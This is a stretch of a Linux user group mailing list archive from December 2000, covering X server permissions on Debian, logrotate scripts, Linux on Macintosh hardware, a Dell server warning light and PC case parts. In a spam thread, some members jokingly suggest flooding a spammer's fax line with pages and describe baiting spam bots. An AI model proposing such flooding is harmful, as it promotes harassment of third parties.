error. My roommate is on debian-users so I'll ask him if he has seen anything about this. Tim On Thu, Dec 07, 2000 at 10:13:18AM -0600, Jason J wrote: > Running Debian Woody. Finally decided to try the X 4.0.1 packages. > Installed them. Now i get the following error > > X: *user not authorized to run the X server*, aborting. > > I switched back to 3.3.6 and that same error is still there. So its > something independent of there configs. > Root has no problem start 4 or 3. I created a fresh user just as a test, > and that user gets the same error. Only root can start the server, but i > cant find where I can change that to allow all users. > > I got rid of the rootonly line in Xwrappers > I change the second line of Xsession to Anybody just to make sure. > > > Any help would be appreciated > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From goldman at htc.honeywell.com Thu Dec 7 10:28:53 2000 From: goldman at htc.honeywell.com (Robert P. Goldman) Date: Mon Jan 17 13:13:14 2005 Subject: [TCLUG] question about logging In-Reply-To: <20001207101858.C17621@sorry.cs.umn.edu> References: <14894.37407.552888.202114@mn65-zippy.htc.honeywell.com> <20001206133455.A15602@sorry.cs.umn.edu> <14895.45476.304507.694168@mn65-zippy.htc.honeywell.com> <20001207101858.C17621@sorry.cs.umn.edu> Message-ID: <14895.47813.860974.138197@mn65-zippy.htc.honeywell.com> >>>>> "GT" == dopp writes: >> Yes, that's my problem, too. I don't know what kind of script >> it is, either. It's a script used by logrotate, if that helps. >> Unfortunately, the man page only says: >> GT> What's the name of the script and where is it? One example is /etc/logrotate.d/samba I think probably the right thing to do is to change this: /var/log/samba/log.smb { postrotate /usr/bin/killall -HUP smbd endscript } to something like /var/log/samba/log.smb { postrotate if { ps -C smbd -o pid= > /dev/null } then /usr/bin/killall -HUP smbd; fi endscript } per your suggestion, but I haven't yet had a chance to test it out.... R From foeclan at winternet.com Thu Dec 7 10:36:29 2000 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: Actually, it's illegal in some places to send people unsolicited faxes. Our favorite trick in Tech Support, though, was to fax obnoxious customers lots of troubleshooting documents (purely for their own benefit, of course)... frequently along the lines of 60-80 pages of them. So if we have any bored tech support folks out there with an automatic fax system... (come to think of it, ColorSpan has a phone number you can call, listed on their webpage, to request the documents be faxed to you... ;) Michael Vieths Foeclan@Winternet.Com On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > > That episode was on a couple nights ago! Hi-larious!! > > > On Thu, 7 Dec 2000, Timothy Houck wrote: > > > Sort of like that Seinfeld episode where Elaine has 57 messages ... 56 of > > which are "eeeeooooooowwweeeee"... > > > > > > On Wed, 6 Dec 2000, Andrew Nemchenko wrote: > > > > > You know they do give a fax number. Would it be possible to subscribe them > > > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > > > postings to them??? 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For details about our double your money back guarantee, > > > > please write to the above address, attention consumer affairs > > > > department; enclose a self addressed stamped envelope for this and any > > > > requested contact information. > > > > Thank You. > > > > _______________________________________________ > > > > tclug-list mailing list > > > > tclug-list@lists.real-time.com > > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > > > ------ http://USFamily.Net/info - Unlimited Internet - From $7.99/mo! ------ > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > --------------------------------------------------------------------- > > Timothy Houck > > thouck@thouck.com > > www.thouck.com > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Thu Dec 7 10:42:27 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <20001207114522.A18277@yahoo.com> References: <3A2FB71E.2050405@innominatus.com> <20001207114522.A18277@yahoo.com> Message-ID: <00120710422700.00333@Billbob_Linux> Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? I'm getting ready to start playing with Mac68K Linux, and I was looking for some *local* advice & feedback on using Linux on the Mac. So far, it looks like Debian is the only game in town..? My main question is, what software (that might traditionally be used on x86 Linux) can I expect to work, and what should I *not* expect to work? -- Bill Layer From tsandqui at yahoo.com Thu Dec 7 12:00:03 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] X: user not authorized to run the X server, aborting. In-Reply-To: <20001207114522.A18277@yahoo.com>; from tsandqui@yahoo.com on Thu, Dec 07, 2000 at 11:45:22AM -0600 References: <3A2FB71E.2050405@innominatus.com> <20001207114522.A18277@yahoo.com> Message-ID: <20001207120003.A18311@yahoo.com> Ok, got it. run: dpkg-reconfigure xserver-common I'm not sure if the xserver-common package is broken or what but I don't remember seeing this config option when I upgraded. Oh well, it works now. Tim On Thu, Dec 07, 2000 at 11:45:22AM -0600, Tim Sandquist wrote: > I was just experiencing this same error. > My roommate is on debian-users so I'll ask him if he has seen > anything about this. > > Tim > > On Thu, Dec 07, 2000 at 10:13:18AM -0600, Jason J wrote: > > Running Debian Woody. Finally decided to try the X 4.0.1 packages. > > Installed them. Now i get the following error > > > > X: *user not authorized to run the X server*, aborting. > > > > I switched back to 3.3.6 and that same error is still there. So its > > something independent of there configs. > > Root has no problem start 4 or 3. I created a fresh user just as a test, > > and that user gets the same error. Only root can start the server, but i > > cant find where I can change that to allow all users. > > > > I got rid of the rootonly line in Xwrappers > > I change the second line of Xsession to Anybody just to make sure. > > > > > > Any help would be appreciated > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From destef at theo.egoode.com Thu Dec 7 11:12:18 2000 From: destef at theo.egoode.com (destef@theo.egoode.com) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: Its illegal to send unsolicited email too but that doesnt stop stupid-ass dot.com wannabies from still doing it. Im sure you've all noticed that you cant reply to most of them since they are bogus addresses...even though they say at the bottom to reply and say you want to be removed. Like it matters...you tell one company to remove you from thier mailing list and you still have 6 billion other mailing lists floating around out there with your name on it. Mail relays need to put quotas on the number of names in a list that can be sent through them. But Im sure they're getting paid off so that'll never happen. On Thu, 7 Dec 2000, Michael Vieths wrote: > Actually, it's illegal in some places to send people unsolicited faxes. > Our favorite trick in Tech Support, though, was to fax obnoxious customers > lots of troubleshooting documents (purely for their own benefit, of > course)... frequently along the lines of 60-80 pages of them. So if we > have any bored tech support folks out there with an automatic fax > system... (come to think of it, ColorSpan has a phone number you can call, > listed on their webpage, to request the documents be faxed to you... ;) > > Michael Vieths > Foeclan@Winternet.Com > > On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > > > > > That episode was on a couple nights ago! Hi-larious!! > > > > > > On Thu, 7 Dec 2000, Timothy Houck wrote: > > > > > Sort of like that Seinfeld episode where Elaine has 57 messages ... 56 of > > > which are "eeeeooooooowwweeeee"... > > > > > > > > > On Wed, 6 Dec 2000, Andrew Nemchenko wrote: > > > > > > > You know they do give a fax number. Would it be possible to subscribe them > > > > to the TCLUG list and then setup a fax modem to FAX instead of emailing the > > > > postings to them??? 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MK Linux was red hat based and I remember having apache, some ftp daemon, netscape ( but it wasn't the most current version ) and afterstep running. I didn't really use that box for anything except staging a few small sites and playing some cds. Getting X to run on that machine was really easy and so was the sound setup. MK Linux wasn't (isn't?) that well supported. I scrapped that for BeOS, but I didn't really like it. I was going to try yellow dog (also red hat based), but I left that job and no longer had a mac that I could experiment on, so I never looked into it further. I think yellow dog only supports PPC +, and not 68k. One other thing I remember was that the machine had to be dual boot with macos or it wouldn't work. I don't know if this has changed by now. Hmm, maybe I should pick up a used PPC box and start playing again. ~jacque Bill Layer wrote: > Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? > I'm getting ready to start playing with Mac68K Linux, and I was looking for > some *local* advice & feedback on using Linux on the Mac. > > So far, it looks like Debian is the only game in town..? > > My main question is, what software (that might traditionally be used on x86 > Linux) can I expect to work, and what should I *not* expect to work? > > -- > Bill Layer > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From austad at marketwatch.com Thu Dec 7 11:23:55 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] Dell 2450 warning light and linux Message-ID: I have Red Hat 6.2 on a Dell 2450 box. The box has a status light on the front which is normally green. Now, the light is amber and it's blinking. The server is still working just fine. Anyone know how I can tell what the warning light is blinking for? I can't shut the server down to investigate it. Is there a util that I can run to find out somehow? I went through the logs and didn't find anything weird. Jay From b.layer at vikingelectronics.com Thu Dec 7 11:28:53 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: References: Message-ID: <00120711285303.00333@Billbob_Linux> Something worth noting, On Thursday 07 December 2000 11:12, you wrote: Im sure you've > all noticed that you cant reply to most of them since they are > bogus addresses...even though they say at the bottom to reply > and say you want to be removed. Nor do you want to respond under any conditions - a response only guarantees that your email address will be VERIFIED and then addd to the "premium" spammer lists of addresses with verified owners. By replying, you just make your stolen personal info that much more valuable. By the way, I used to get spammed with "Supersluth tells all - make $50K a month" everytime I posted to the OCHL. Eventually, I got pissed and called the number in the spam, and got a recorded message with a Company Name. I did a Yahoo search, found the *real* company and their website (even the names of the company's principals & execs...), and sent them the mother of all flames, mentioning that I had: a) forwarded their names & addresses to the FCC authorities, and b) baited the list so that the spam bots would unwittingly continue to spam the same FCC authorities. The spam stopped immediately, never to re-appear. One tiny little victory. -- Bill Layer Sales Technician From jethro at freakzilla.com Thu Dec 7 11:29:26 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: Hi, On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > > > > > > Or, print & mail to: LSN > > > > > > 273 S. State Rd. 7, #193 > > > > > > Margate, FL 33068-5727 Hmmm. They have an address on the thing. Bob, haven't these people used Real-Time's resources without permission? Did they not take up your bandwidth, and aren't they now taking up space in your archive? I think you should send them an invoice. -Yaron -- From ben at nerp.net Thu Dec 7 11:28:15 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <00120710422700.00333@Billbob_Linux> Message-ID: i played with debian/mac a while back.. was going to play with it again recently, I guess they've improved the install process greatly, tho it's still a pain in the ass because of how mac's partition their disks. PPC on the other hand is much easier to work with. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Thu, 7 Dec 2000, Bill Layer wrote: > Is anyone on the list running Linux on Macintosh hardware, either 68K or PPC? > I'm getting ready to start playing with Mac68K Linux, and I was looking for > some *local* advice & feedback on using Linux on the Mac. > > So far, it looks like Debian is the only game in town..? > > My main question is, what software (that might traditionally be used on x86 > Linux) can I expect to work, and what should I *not* expect to work? > > -- > Bill Layer > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From b.layer at vikingelectronics.com Thu Dec 7 11:34:55 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <3A2FC7CB.C6BEAF98@fruitioninc.com> References: <3A2FB71E.2050405@innominatus.com> <00120710422700.00333@Billbob_Linux> <3A2FC7CB.C6BEAF98@fruitioninc.com> Message-ID: <00120711345504.00333@Billbob_Linux> Hi Jacque, > One other thing I remember was that the machine had to be dual boot with > macos or > > it wouldn't work. I don't know if this has changed by now. No, that hasn't changed, and probably won't for a while, as the Mac 68k Linux kernel still does not support the floppy drive. This seems almost too strange to believe, but apparently, the Mac designers have remained very tight-lipped about the workings of the floppy controller. > Hmm, maybe I should pick up a used PPC box and start playing again. It reportedly runs on SE/30 as well, but I have not been able to get my SE/30 to boot it. A fellow who goes by 'Jag' apparently has it running on his SE/30, but I'm not sure what he did differently. First the booter was blamed, then the kernel.. but blame aside, I can't get it to boot on *my* SE/30. I have a spare SE/30 if anyone is interested in giving this a try. I mean, anything has got to be better than MacOS ;) -- Bill Layer Sales Technician From natecars at real-time.com Thu Dec 7 11:38:03 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:15 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! In-Reply-To: Message-ID: On Thu, 7 Dec 2000 destef@theo.egoode.com wrote: > Its illegal to send unsolicited email too but that doesnt stop > stupid-ass dot.com wannabies from still doing it. Im sure you've > all noticed that you cant reply to most of them since they are > bogus addresses...even though they say at the bottom to reply > and say you want to be removed. Like it matters...you tell one > company to remove you from thier mailing list and you still have > 6 billion other mailing lists floating around out there with > your name on it. You tell one company to remove you from their list, and they do, and in the process, manage to sell your e-mail to 60 million more companies... > Mail relays need to put quotas on the number of names in a list > that can be sent through them. But Im sure they're getting paid > off so that'll never happen. They can always set up their own mail server.. plus, there is legitimate bulk e-mailing. (glances at the tclug list server) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From dopp at acm.cs.umn.edu Thu Dec 7 12:01:06 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <00120711345504.00333@Billbob_Linux>; from b.layer@vikingelectronics.com on Thu, Dec 07, 2000 at 11:34:55AM -0600 References: <3A2FB71E.2050405@innominatus.com> <00120710422700.00333@Billbob_Linux> <3A2FC7CB.C6BEAF98@fruitioninc.com> <00120711345504.00333@Billbob_Linux> Message-ID: <20001207120106.D17621@sorry.cs.umn.edu> > I mean, anything has got to be better than MacOS ;) Well, OpenBSD and NetBSD are well supported on the 68k Macs, and have been for many years. I'd give one of them a try. Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "YOU _GAVE_AWAY_ $47 MILLION DOLLARS?? You fat, bloated eediot!" - Ren Hoek in "Stimpy's Big Day" -------------------------------------------------------------------------------- From b.layer at vikingelectronics.com Thu Dec 7 12:00:49 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <00120711345504.00333@Billbob_Linux> References: <3A2FB71E.2050405@innominatus.com> <3A2FC7CB.C6BEAF98@fruitioninc.com> <00120711345504.00333@Billbob_Linux> Message-ID: <00120712004905.00333@Billbob_Linux> Arrgh! I picked up one of the translucent blue ATX cases (looks a little like a MacG3) a few months back. It was missing the internal hardware, but I figured it was no big deal - hardware is hardware. Here is a pic of the case: http://www.transnet-inc.com/CaseAquaBlue.html Well, it turns out that this case uses PROPRIETARY hardware, most annoyingly, the mounting standoffs for the motherboard. Unless I can find a handful of these 2-cent parts, this $100.00 case is going to be a doorstop (and I already own plenty of those). I wrote the people at the above site, and they responded with "Sorry, but we cannot sell them (the parts) to you". No further explanation. Does anyone know where I can get enough of these standoffs to mount the board? maybe from another builder that had extras? Or plan B - could someone suggest a good case from Tran / GNS that would be suitable for a hardware hacker like me to build a Duron 700 system in? Will I *need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or so...) P.S. Plan B sucks. -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 From tanner at real-time.com Thu Dec 7 12:05:44 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ORBS vote Message-ID: <20001207120544.C6214@real-time.com> Please take the time to visit the LUG's home page and answer the poll. I really would like to get a feel from the community on installing ORBS on the TCLUG mailing list server. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From clay at fandre.com Thu Dec 7 12:07:10 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] POS running Linux Message-ID: <3A2FD1CE.2631721D@fandre.com> Interesting article about using Linux at the registers of some retail stores: http://www.techweb.com/se/directlink.cgi?IWK20001204S0069 There's a nice price-comparison between Windows ($2.5M + $700k/year) and Linux (Free!!!). From jethro at freakzilla.com Thu Dec 7 12:11:04 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <00120712004905.00333@Billbob_Linux> Message-ID: Hi, On Thu, 7 Dec 2000, Bill Layer wrote: > Does anyone know where I can get enough of these standoffs to mount the > board? maybe from another builder that had extras? A) ACME or ABC Electronics. B) Duct Tape and toothpicks. -Yaron -- From HOEFFNER at dcmir.med.umn.edu Thu Dec 7 12:11:00 2000 From: HOEFFNER at dcmir.med.umn.edu (HOEFFNER@dcmir.med.umn.edu) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] At Last, Herbal V, the All Natural Alternative is Available! Message-ID: <001207121100.202b09d8@dcmir.med.umn.edu> Congratulations! The delete key has never been very cathardic. Ed Hoeffner 1-271 BSBE 312 Church St. SE Mpls, MN 55455 hoeffner@dcmir.med.umn.edu 612-625-2115 612-625-2163 fax Something worth noting, On Thursday 07 December 2000 11:12, you wrote: Im sure you've > all noticed that you cant reply to most of them since they are > bogus addresses...even though they say at the bottom to reply > and say you want to be removed. Nor do you want to respond under any conditions - a response only guarantees that your email address will be VERIFIED and then addd to the "premium" spammer lists of addresses with verified owners. By replying, you just make your stolen personal info that much more valuable. By the way, I used to get spammed with "Supersluth tells all - make $50K a month" everytime I posted to the OCHL. Eventually, I got pissed and called the number in the spam, and got a recorded message with a Company Name. I did a Yahoo search, found the *real* company and their website (even the names of the company's principals & execs...), and sent them the mother of all flames, mentioning that I had: a) forwarded their names & addresses to the FCC authorities, and b) baited the list so that the spam bots would unwittingly continue to spam the same FCC authorities. The spam stopped immediately, never to re-appear. One tiny little victory. -- Bill Layer Sales Technician _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at sistina.com Thu Dec 7 12:11:09 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <00120712004905.00333@Billbob_Linux>; from b.layer@vikingelectronics.com on Thu, Dec 07, 2000 at 12:00:49PM -0600 References: <3A2FB71E.2050405@innominatus.com> <3A2FC7CB.C6BEAF98@fruitioninc.com> <00120711345504.00333@Billbob_Linux> <00120712004905.00333@Billbob_Linux> Message-ID: <20001207121109.B7671@socrates.sistina.com> On Thu, Dec 07, 2000 at 12:00:49PM -0600, Bill Layer wrote: Send a mail to "Watchdog" at maximumpc. They do stories like "Consumer A bought thing b from company C and got screwed" then they do some poking around and make them look like fools in thier magazine. And since they hav e large readerbase it actually helps sometimes. Almost like "Fight Back" with David Horowitz from the 80's (kinda dating myself there huh) That show kicked ass, no surprise it didn't last though when you are hammering the very advertisers that pay your salary. >Arrgh! I picked up one of the translucent blue ATX cases (looks a little like >a MacG3) a few months back. It was missing the internal hardware, but I >figured it was no big deal - hardware is hardware. Here is a pic of the case: > >http://www.transnet-inc.com/CaseAquaBlue.html > >Well, it turns out that this case uses PROPRIETARY hardware, most annoyingly, >the mounting standoffs for the motherboard. Unless I can find a handful of >these 2-cent parts, this $100.00 case is going to be a doorstop (and I >already own plenty of those). I wrote the people at the above site, and they >responded with "Sorry, but we cannot sell them (the parts) to you". No >further explanation. > >Does anyone know where I can get enough of these standoffs to mount the >board? maybe from another builder that had extras? > >Or plan B - could someone suggest a good case from Tran / GNS that would be >suitable for a hardware hacker like me to build a Duron 700 system in? Will I >*need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or >so...) > >P.S. Plan B sucks. > >-- >Bill Layer >Sales Technician > > >+----------------------------------+ > Viking Electronics, Inc. > 1531 Industrial St. > Hudson, WI. 54016 - U.S.A > 715.386.8861 ext. 210 > >+----------------------------------+ > >"Telecom Solutions for the 21st Century" > Powered by Slackware Linux 7.1.0 > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... 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Did you unseat a fan by mistake? -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001207/47669e41/attachment.pgp From b.layer at vikingelectronics.com Thu Dec 7 12:28:21 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] Mac Linux compatibility In-Reply-To: <20001207120106.D17621@sorry.cs.umn.edu> References: <3A2FB71E.2050405@innominatus.com> <00120711345504.00333@Billbob_Linux> <20001207120106.D17621@sorry.cs.umn.edu> Message-ID: <00120712282107.00333@Billbob_Linux> Well, On Thursday 07 December 2000 12:01, you wrote: > > I mean, anything has got to be better than MacOS ;) > > Well, OpenBSD and NetBSD are well supported on the 68k Macs, and have been > for many years. I'd give one of them a try. They are; I had NetBSD running on the SE/30 before I tried the Linux fiasco. One problem remains - there is little or no FPU emulation support for the Mac68k ports of Linux or BSD. This means that you *need* a system with an FPU to have a decent Mac-*nix box. To this end, I've bought a 68040 off of eBay, and I'm going to be 'upgrading' my Performa 475 from it's 68LC040 (FPU-less) state, so I can run either Linux or BSD. -- Bill Layer Sales Technician From jasonj at innominatus.com Thu Dec 7 12:35:23 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] X: user not authorized to run the X server, aborting. References: <3A2FB71E.2050405@innominatus.com> <20001207114522.A18277@yahoo.com> <20001207120003.A18311@yahoo.com> Message-ID: <3A2FD86B.1030808@innominatus.com> Thank you sir, that worked like a charm. i had tried dpkg-reconfigure xserver-xfree86 and xserver-svga a million times, forgot about the common. DOH! Tim Sandquist wrote: > Ok, got it. > > run: > dpkg-reconfigure xserver-common > > I'm not sure if the xserver-common package is broken or what but I don't > remember seeing this config option when I upgraded. > > Oh well, it works now. > > Tim > > On Thu, Dec 07, 2000 at 11:45:22AM -0600, Tim Sandquist wrote: > >> I was just experiencing this same error. >> My roommate is on debian-users so I'll ask him if he has seen >> anything about this. >> >> Tim >> >> On Thu, Dec 07, 2000 at 10:13:18AM -0600, Jason J wrote: >> >>> Running Debian Woody. Finally decided to try the X 4.0.1 packages. >>> Installed them. Now i get the following error >>> >>> X: *user not authorized to run the X server*, aborting. >>> >>> I switched back to 3.3.6 and that same error is still there. So its >>> something independent of there configs. >>> Root has no problem start 4 or 3. I created a fresh user just as a test, >>> and that user gets the same error. Only root can start the server, but i >>> cant find where I can change that to allow all users. >>> >>> I got rid of the rootonly line in Xwrappers >>> I change the second line of Xsession to Anybody just to make sure. >>> >>> >>> Any help would be appreciated >>> >>> _______________________________________________ >>> tclug-list mailing list >>> tclug-list@lists.real-time.com >>> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From austad at marketwatch.com Thu Dec 7 12:26:55 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] Dell 2450 warning light and linux Message-ID: Odd, it has 2 power supplies and only one was plugged in, I plugged in the second one and now it turned off. I have 3 other 2450's with only one power supply plugged in and they are not blinking. I can't plug all of them in until NSP turns up the new power to our building later this week. Having a big ass server room is no fun when you don't have enough air conditioning and you have to get out the calculator before you plug something in... Jay > -----Original Message----- > From: Scott Dier [mailto:dieman@ringworld.org] > Sent: Thursday, December 07, 2000 12:21 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Dell 2450 warning light and linux > > > * Austad, Jay [001207 11:28]: > > I have Red Hat 6.2 on a Dell 2450 box. The box has a > status light on the > > front which is normally green. Now, the light is amber and > it's blinking. > > The server is still working just fine. > > If its a rackmount, are all the banks of fans working > correctly? Is any > one of them blinking wiht the led on top? Did you unseat a fan by > mistake? > > -- > Scott Dier #linuxos@irc.openprojects.net > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > Kupooo." > -Moguta (FFIX) > From JON.STIGNANI at spps.org Thu Dec 7 12:35:23 2000 From: JON.STIGNANI at spps.org (JON.STIGNANI@spps.org) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) Message-ID: <062569AE.00660B1D.00@spps.org> Can you describe the stand-off parts - - metal or plastic, shape, dimensions, etc.? If it's what I suspect, plastic rod stock, properly treated with saw and drill press, might suffice. Jon "Bill Layer" on 12/07/2000 12:00:49 PM Please respond to tclug-list@lists.real-time.com To: tclug-list@lists.real-time.com cc: (bcc: JON STIGNANI/spps) Subject: [TCLUG] ATX case hardware problem (need parts) Arrgh! I picked up one of the translucent blue ATX cases (looks a little like a MacG3) a few months back. It was missing the internal hardware, but I figured it was no big deal - hardware is hardware. Here is a pic of the case: http://www.transnet-inc.com/CaseAquaBlue.html Well, it turns out that this case uses PROPRIETARY hardware, most annoyingly, the mounting standoffs for the motherboard. Unless I can find a handful of these 2-cent parts, this $100.00 case is going to be a doorstop (and I already own plenty of those). I wrote the people at the above site, and they responded with "Sorry, but we cannot sell them (the parts) to you". No further explanation. Does anyone know where I can get enough of these standoffs to mount the board? maybe from another builder that had extras? Or plan B - could someone suggest a good case from Tran / GNS that would be suitable for a hardware hacker like me to build a Duron 700 system in? Will I *need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or so...) P.S. Plan B sucks. -- Bill Layer Sales Technician +----------------------------------+ Viking Electronics, Inc. 1531 Industrial St. Hudson, WI. 54016 - U.S.A 715.386.8861 ext. 210 +----------------------------------+ "Telecom Solutions for the 21st Century" Powered by Slackware Linux 7.1.0 _______________________________________________ tclug-list mailing list tclug-list@lists.real-time.com https://mailman.real-time.com/mailman/listinfo/tclug-list From b.layer at vikingelectronics.com Thu Dec 7 12:52:35 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <062569AE.00660B1D.00@spps.org> References: <062569AE.00660B1D.00@spps.org> Message-ID: <00120712523508.00333@Billbob_Linux> Hi Jon, On Thursday 07 December 2000 12:35, you wrote: > Can you describe the stand-off parts - - metal or plastic, shape, > dimensions, etc.? No, as I have never seen them. The holes into which the fit, are rectangulat, about 1/4" x 1/3". A woman working at Tran Micro on University was kind enough to give me a handful of metal standoff parts, that were more on teh order of 1/4" square. It was fruitless, they didn't fit. I'm pretty sure they are metal, as there wouldn't be any hard chassis grounding of the board if they were all plastic. There is only one type of hole, so I assume that the parts are all one style. > If it's what I suspect, plastic rod stock, properly treated with saw and > drill press, might suffice. It's just like a motorcycle. There are plenty of ways to fake it, but nothing is ever as sweet or easy as the OEM parts. If I have to engineer something, it's going to involve washers, screws, standoffs and JB-Weld. :) > -- Bill Layer From wilson at visi.com Thu Dec 7 12:55:12 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:16 2005 Subject: [TCLUG] ATX case hardware problem (need parts) In-Reply-To: <00120712004905.00333@Billbob_Linux> Message-ID: On Thu, 7 Dec 2000, Bill Layer wrote: > Does anyone know where I can get enough of these standoffs to mount the > board? maybe from another builder that had extras? Have you look at Cyberguys? (http://www.cyberguys.com/) They carry a lot of misc. parts. > Or plan B - could someone suggest a good case from Tran / GNS that would be > suitable for a hardware hacker like me to build a Duron 700 system in? Will I > *need* a 300W supply? (I plan to u/g to a 1.2 or better T-bird in a year or > so...) I bought a mid-tower Enlight case from Tran for my T-bird system. Other than being pretty loud, it seems to work well. It's got a 300-W p.s., BTW. -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, 